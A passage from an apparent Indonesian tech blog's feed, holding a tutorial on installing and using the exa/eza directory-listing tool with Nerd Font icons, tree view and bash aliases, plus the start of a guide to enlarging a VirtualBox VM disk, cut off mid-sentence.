&lt;p&gt;&lt;a href=&quot;https://www.chess.com/article/view/chess-tactics#endgametactic&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/article/view/chess-tactics#endgametactic&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://chessfox.com/chess-tactics-list/&quot; target=&quot;_blank&quot;&gt;https://chessfox.com/chess-tactics-list/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Exa-Eza as a Modern Replacement for ls</title><link>https://shangdi.github.io/posts/tech/exa/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/exa/</guid><description>Want to improve and modernize your ls appearance and functionality? This is the neo-ls..</description><pubDate>Wed, 06 Nov 2024 14:45:18 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Utility&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;command&lt;/em&gt; atau perintah standard di sistem operasi seperti Linux untuk menampilkan daftar file atau direktori/folder via terminal. Tapi, seiring perkembangan zaman, orang-orang (khususnya pengguna sistem operasi Unix-&lt;em&gt;based&lt;/em&gt;, seperti Linux) mulai bosan dan ingin mencari suasana baru. Akhirnya, muncullah kreativitas yang mewarnai lingkungan Linux itu sendiri, salah satunya seperti yang akan saya bahas di artikel ini, yaitu &lt;em&gt;utility&lt;/em&gt; / &lt;em&gt;command&lt;/em&gt; &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing directory&apos;s files and folders via exa command&quot; loading=&quot;lazy&quot; width=&quot;1142&quot; height=&quot;937&quot; src=&quot;/_astro/ss1.952JfaK6_Z1wMGza.webp&quot; /&gt;&lt;figcaption&gt;listing directory&apos;s files and folders via exa command&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Seperti terlihat di tangkapan layar (&lt;em&gt;screenshot&lt;/em&gt;) di atas, me-&lt;em&gt;list&lt;/em&gt;-ing direktori menggunakan &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; memberikan kesan yang berbeda dibandingkan dengan menggunakan &lt;strong&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/strong&gt;. &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; memberikan kesan yang lebih modern dan &lt;em&gt;sophisticated&lt;/em&gt; yang tampak dari pemberian warna yang bervariatif, tampilan icon untuk setiap jenis file dan folder, serta dapat menampilkan model &lt;em&gt;listing&lt;/em&gt; dalam format cabang-cabang bergaris.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; dan &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt; menurut saya adalah dua &lt;em&gt;utility&lt;/em&gt; yang beda nama, tapi sama kegunaannya. Beberapa distro seperti Debian (yang saya gunakan untuk membuat artikel ini) tidak menyediakan &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt; di &lt;em&gt;official repository&lt;/em&gt;-nya, tapi menyediakan &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt;. Sebaliknya, distro lain (seperti Archlinux) mungkin tidak menyediakan &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; di &lt;em&gt;repo&lt;/em&gt;-nya, tapi menyediakan &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt;. Jadi, silakan &lt;em&gt;install&lt;/em&gt; menyesuaikan dengan ketersidaan &lt;em&gt;package&lt;/em&gt;-nya di masing-masing distro Linux.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;Instalasi &lt;code&gt;exa&lt;/code&gt; / &lt;code&gt;eza&lt;/code&gt;&lt;a href=&quot;#instalasi-exa--eza&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut tutorial instalasi &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; / &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt; di masing-masing distro Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install exa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy eza&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install eza&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install exa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi icon font&lt;a href=&quot;#instalasi-icon-font&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Setelah selesai meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;package&lt;/em&gt; &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; / &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt;, kita juga perlu meng-&lt;em&gt;install&lt;/em&gt; font untuk menampilkan file icons di terminal. Untuk kasus ini, kita bisa meng-&lt;em&gt;install&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;https://www.nerdfonts.com/font-downloads&quot; target=&quot;_blank&quot;&gt;“Symbols Nerd Font”&lt;/a&gt;&lt;/strong&gt; melalui langkah-langkah berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Download&lt;/em&gt; font &lt;strong&gt;Symbols Nerd Font&lt;/strong&gt; di tautan berikut: &lt;a href=&quot;https://www.nerdfonts.com/font-downloads&quot; target=&quot;_blank&quot;&gt;https://www.nerdfonts.com/font-downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Extract&lt;/em&gt; file &lt;strong&gt;NerdFontsSymbolsOnly.zip&lt;/strong&gt; yang sudah terunduh:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NerdFontsSymbolsOnly.zip&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Pindahkah kedua file font yang berhasil ter-&lt;em&gt;extract&lt;/em&gt; (&lt;strong&gt;SymbolsNerdFont-Regular.ttf&lt;/strong&gt; &amp;amp; &lt;strong&gt;SymbolsNerdFontMono-Regular.ttf&lt;/strong&gt;) tersebut ke direktori &lt;strong&gt;&lt;code&gt;~/.fonts&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.fonts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SymbolsNerdFont-Regular.ttf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SymbolsNerdFontMono-Regular.ttf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.fonts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Fungsionalitas&lt;a href=&quot;#fungsionalitas&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa fungsionalitas &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt; / &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; yang akan di-&lt;em&gt;cover&lt;/em&gt; dalam artikel ini yaitu terkait &lt;em&gt;&lt;strong&gt;file icons&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;tree&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Icons&lt;a href=&quot;#icons&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Perintah dasar untuk menampilkan icon setiap file dan direktori dengan &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; adalah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--icons&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exa --icons&quot; loading=&quot;lazy&quot; width=&quot;744&quot; height=&quot;316&quot; src=&quot;/_astro/ss2.DpiILNV2_9WJ6f.webp&quot; /&gt;&lt;figcaption&gt;exa --icons&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Selanjutnya, kita bisa menambahkannya dengan opsi lain. Misalnya, kita ingin menampilkan detail setiap file dan direktori (seperti &lt;em&gt;permissions&lt;/em&gt;, &lt;em&gt;owner&lt;/em&gt;, dan &lt;em&gt;modification time&lt;/em&gt;) sambil tetap menampilkan icon-nya. Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--icons&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exa -l --icons&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;501&quot; src=&quot;/_astro/ss3.BdRrktij_ZdKAXo.webp&quot; /&gt;&lt;figcaption&gt;exa -l --icons&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Tree&lt;a href=&quot;#tree&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Terkadang, ada direktori atau folder yang ingin kita ketahui isinya ketika sedang melakukan &lt;em&gt;listing&lt;/em&gt; file &amp;amp; direktori. Untuk melakukannya, gunakan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--tree&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-T&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah tersebut, &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; akan me-&lt;em&gt;listing&lt;/em&gt; semua isi direktori yang ada, bahkan direktori di dalam direktori sekalipun akan tetap di-&lt;em&gt;listing&lt;/em&gt; sampai ke file terakhir. Akibatnya, jika kita memiliki &lt;em&gt;child directory&lt;/em&gt; yang banyak dan panjang berikut juga file-filenya yang bejibun, tentu ini tidak akan efektif.&lt;/p&gt;&lt;p&gt;Solusi yang bisa kita gunakan untuk mengatasi hal tersebut di &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; atau &lt;strong&gt;&lt;code&gt;eza&lt;/code&gt;&lt;/strong&gt; adalah dengan membatasi tingkatan cabang direktori-nya. Misal, kita hanya ingin menampilkan 2 tingkat cabang direktori saja, maka kita bisa gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--tree&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--level&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-T&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--level=2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exa -T --level=2&quot; loading=&quot;lazy&quot; width=&quot;777&quot; height=&quot;931&quot; src=&quot;/_astro/ss4.Ddr758c4_1Rqge.webp&quot; /&gt;&lt;figcaption&gt;exa -T --level=2&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita bisa membuat variasinya. Misal, saya ingin menampilkan informasi detail file-file dan direktori yang ada hingga 2 level cabang direktori, berikut juga tampilan icon-nya, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-lT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--level&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--icons&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exa -lT --level 2 --icons&quot; loading=&quot;lazy&quot; width=&quot;1141&quot; height=&quot;939&quot; src=&quot;/_astro/ss5.DR_iq3X6_Z1Fxocn.webp&quot; /&gt;&lt;figcaption&gt;exa -lT --level 2 --icons&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;&lt;code&gt;exa&lt;/code&gt; as an alias of &lt;code&gt;ls&lt;/code&gt; @ &lt;code&gt;~/.bashrc&lt;/code&gt;&lt;a href=&quot;#exa-as-an-alias-of-ls--bashrc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Setelah mengetahui kedua &lt;em&gt;basic functionality&lt;/em&gt; dari &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt;, kita bisa menggunakannya sebagai alias dari &lt;em&gt;command&lt;/em&gt; di terminal. Artinya, setiap kali kita menggunakan perintah &lt;strong&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/strong&gt; untuk me-&lt;em&gt;listing&lt;/em&gt; file dan direktori di terminal, &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt;-lah yang akan dieksekusi.&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;&lt;code&gt;exa&lt;/code&gt;&lt;/strong&gt; alias yang saya &lt;em&gt;input&lt;/em&gt;-kan di &lt;strong&gt;&lt;code&gt;~/.bashrc&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;exa --icons&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ll&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;ls -l&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;la&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;ls -a&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lla&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;ls -la&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ll2&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;ls -lT --level=2&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ll3&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;ls -lT --level=3&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Untuk mengaktifkan konfigurasi yang baru saja di-&lt;em&gt;input&lt;/em&gt;-kan di &lt;strong&gt;&lt;code&gt;~/.bashrc&lt;/code&gt;&lt;/strong&gt; di &lt;em&gt;current terminal session&lt;/em&gt;, kita bisa menggunakan perintah &lt;strong&gt;&lt;code&gt;source ~/.bashrc&lt;/code&gt;&lt;/strong&gt; atau membuka terminal baru untuk membuka &lt;em&gt;terminal session&lt;/em&gt; yang baru.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;</content:encoded></item><item><title>Increasing Virtual Machine Disk Size in Virtualbox</title><link>https://shangdi.github.io/posts/tech/updisk/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/updisk/</guid><pubDate>Wed, 16 Oct 2024 09:51:19 GMT</pubDate><content:encoded>&lt;p&gt;Secara &lt;em&gt;default&lt;/em&gt;, biasanya saya akan mengatur ukuran &lt;em&gt;virtual disk&lt;/em&gt; untuk VM saya di Virtualbox di sekitar 20 GB. Dulu, ketika VM tersebut sudah mulai terisi penuh &lt;em&gt;disk size&lt;/em&gt;-nya sementara saya masih memerlukan &lt;em&gt;space&lt;/em&gt; atau ruang kosong, biasanya yang saya lakukan adalah meng-&lt;em&gt;install&lt;/em&gt; ulang VM tersebut atau menambah ukuran disk-nya. Sayangnya, saat itu, tutorial menambah VM &lt;em&gt;disk size&lt;/em&gt; yang saya jumpai di internet adalah tutorial menambah VM disk size di virtualbox berbasis CLI via command prompt / powershell.&lt;/p&gt;
&lt;p&gt;Nah, kali ini, saya sudah menemukan cara yang relatif lebih awam-&lt;em&gt;friendly&lt;/em&gt; (baca: mudah dipahami) karena kita hanya perlu mengutak-atik GUI dari virtualbox itu sendiri. Jadi, di tutorial ini, saya akan berbagi cara menambah ukuran disk &lt;em&gt;virtual machine&lt;/em&gt; (VM) di Virtualbox, baik VM Linux maupun VM windows. Nah, untuk skema tutorial ini, saya memiliki sebuah VM Debian dengan &lt;em&gt;disk size&lt;/em&gt; 20 GB yang akan saya tambahkan 10 GB sehingga nanti ukuran disk-nya akan menjadi 30 GB.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebelum melakukan langkah-langkah di bawah ini, pastikan data (yang dianggap penting) sudah di-&lt;em&gt;backup&lt;/em&gt; terlebih dahulu karena meskipun (sejauh saya praktek) harusnya tidak ada data yang hilang ketika melakukan langkah-langkah di bawah ini, kita harus tetap berjaga-jaga untuk mengantisipasi kemungkinan terburuk.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;Linux&lt;a href=&quot;#linux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Secara detail, ukuran disk 20 GB yang saya punya saat ini di Linux terbagi menjadi 2 partisi utama, yaitu 19 GB di &lt;strong&gt;&lt;code&gt;/dev/sda1&lt;/code&gt;&lt;/strong&gt; dengan &lt;em&gt;file system&lt;/em&gt; ext4, 1 GB di &lt;strong&gt;&lt;code&gt;/dev/sda5&lt;/code&gt;&lt;/strong&gt; dengan &lt;em&gt;file system&lt;/em&gt; SWAP. Nah, nanti, saya akan tambahkan 10 GB sehingga total disk-nya akan menjadi 30 GB dengan rincian partisi 29 GB untuk &lt;em&gt;file system&lt;/em&gt; ext4 dan 1 GB untuk &lt;em&gt;file system&lt;/em&gt; SWAP.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Saya tidak akan membahas secara rinci mengenai file system, baik ext4 maupun SWAP di artikel ini. Jika ingin mengetahui lebih dalam tentang file system di linux, bisa merujuk ke tautan berikut: &lt;a href=&quot;https://wiki.archlinux.org/title/File_systems&quot; target=&quot;_blank&quot;&gt;File System&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://wiki.archlinux.org/title/Swap&quot; target=&quot;_blank&quot;&gt;SWAP&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h3&gt;1. Properties di Virtualbox&lt;a href=&quot;#1-properties-di-virtualbox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pertama, pergi ke &lt;strong&gt;“Virtualbox -&amp;gt; Tools -&amp;gt; Media -&amp;gt; Properties”&lt;/strong&gt;, kemudian klik file *&lt;strong&gt;.vdi&lt;/strong&gt; yang ingin ditambah ukuran disk-nya. Di sini saya pilih VM yang sudah saya siapkan, yaitu VM Debian (Debians.vdi).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Virtualbox -&amp;gt; Tools -&amp;gt; Media -&amp;gt; Properties&quot; loading=&quot;lazy&quot; width=&quot;914&quot; height=&quot;566&quot; src=&quot;/_astro/1.BmF9m5rT_X6H8G.webp&quot; /&gt;&lt;figcaption&gt;Virtualbox -&amp;gt; Tools -&amp;gt; Media -&amp;gt; Properties&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Menambah VM &lt;em&gt;disk size&lt;/em&gt;&lt;a href=&quot;#2-menambah-vm-disk-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, untuk menambah ukuran disk VM-nya kita hanya perlu menggeser garis di bagian 